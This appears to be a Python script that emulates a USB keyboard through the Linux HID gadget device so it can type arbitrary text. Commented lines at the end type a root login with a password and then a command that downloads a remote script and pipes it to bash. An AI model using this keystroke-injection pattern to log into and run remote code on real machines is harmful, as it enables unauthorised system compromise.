You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
114 lines
2.6 KiB
Python
114 lines
2.6 KiB
Python
#!/usr/bin/env python3
|
|
import keycodes
|
|
#import time
|
|
|
|
NULL_CHAR = chr(0)
|
|
|
|
def write_report(report):
|
|
with open('/dev/hidg0', 'rb+') as fd:
|
|
fd.write(report.encode())
|
|
|
|
# Press a
|
|
# write_report(NULL_CHAR*2+chr(4)+NULL_CHAR*5)
|
|
# Release keys
|
|
#write_report(NULL_CHAR*8)
|
|
# Press SHIFT + a = A
|
|
#write_report(chr(32)+NULL_CHAR+chr(4)+NULL_CHAR*5)
|
|
|
|
# Press b
|
|
#write_report(NULL_CHAR*2+chr(5)+NULL_CHAR*5)
|
|
# Release keys
|
|
#write_report(NULL_CHAR*8)
|
|
# Press SHIFT + b = B
|
|
#write_report(chr(32)+NULL_CHAR+chr(5)+NULL_CHAR*5)
|
|
|
|
# Press SPACE key
|
|
#write_report(NULL_CHAR*2+chr(44)+NULL_CHAR*5)
|
|
|
|
# Press c key
|
|
#write_report(NULL_CHAR*2+chr(6)+NULL_CHAR*5)
|
|
# Press d key
|
|
#write_report(NULL_CHAR*2+chr(7)+NULL_CHAR*5)
|
|
|
|
# Press RETURN/ENTER key
|
|
#write_report(NULL_CHAR*2+chr(40)+NULL_CHAR*5)
|
|
|
|
# Press e key
|
|
#write_report(NULL_CHAR*2+chr(8)+NULL_CHAR*5)
|
|
# Press f key
|
|
#write_report(NULL_CHAR*2+chr(9)+NULL_CHAR*5)
|
|
|
|
# Release all keys
|
|
#write_report(NULL_CHAR*8)
|
|
|
|
|
|
def write_char(char):
|
|
write_report(NULL_CHAR*2+chr(char)+NULL_CHAR*5)
|
|
def write_caps(char):
|
|
write_report(chr(32)+NULL_CHAR+chr(char)+NULL_CHAR*5)
|
|
def write_str(word):
|
|
for letter in word:
|
|
if letter == "?":
|
|
letter = "/"
|
|
write_caps(keycodes.keycodelst[letter])
|
|
write_report(NULL_CHAR*8)
|
|
continue
|
|
if letter == "~":
|
|
letter = "`"
|
|
write_caps(keycodes.keycodelst[letter])
|
|
write_report(NULL_CHAR*8)
|
|
continue
|
|
if letter == "_":
|
|
letter = "-"
|
|
write_caps(keycodes.keycodelst[letter])
|
|
write_report(NULL_CHAR*8)
|
|
continue
|
|
if letter == "|":
|
|
letter = "\\"
|
|
write_caps(keycodes.keycodelst[letter])
|
|
write_report(NULL_CHAR*8)
|
|
continue
|
|
if letter == "!":
|
|
letter = "1"
|
|
write_caps(keycodes.keycodelst[letter])
|
|
write_report(NULL_CHAR*8)
|
|
continue
|
|
if letter == "*":
|
|
letter = "8"
|
|
write_caps(keycodes.keycodelst[letter])
|
|
write_report(NULL_CHAR*8)
|
|
continue
|
|
if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z':
|
|
#print(letter.capitalize(), letter)
|
|
write_caps(keycodes.keycodelst[letter])
|
|
write_report(NULL_CHAR*8)
|
|
continue
|
|
else:
|
|
letter = letter.capitalize()
|
|
if letter == "\n":
|
|
letter = "ENTER"
|
|
try:
|
|
write_char(keycodes.keycodelst[letter])
|
|
except:
|
|
print("Unknown HID keycode")
|
|
finally:
|
|
write_report(NULL_CHAR*8)
|
|
|
|
def write_special(input):
|
|
#lst = [x for x in input]
|
|
#if lst[0] == "F": # F key requested!
|
|
try:
|
|
write_char(keycodes.keycodelst[input])
|
|
except:
|
|
print("Unknown HID keycode")
|
|
finally:
|
|
write_report(NULL_CHAR*8)
|
|
|
|
#write_str("root\n")
|
|
#time.sleep(0.5)
|
|
#write_str("qwertypass\n")
|
|
#time.sleep(2)
|
|
#write_str("dwget deck.sh/p -qO-|bash\n")
|
|
#time.sleep(1)
|
|
#write_word("test|er")
|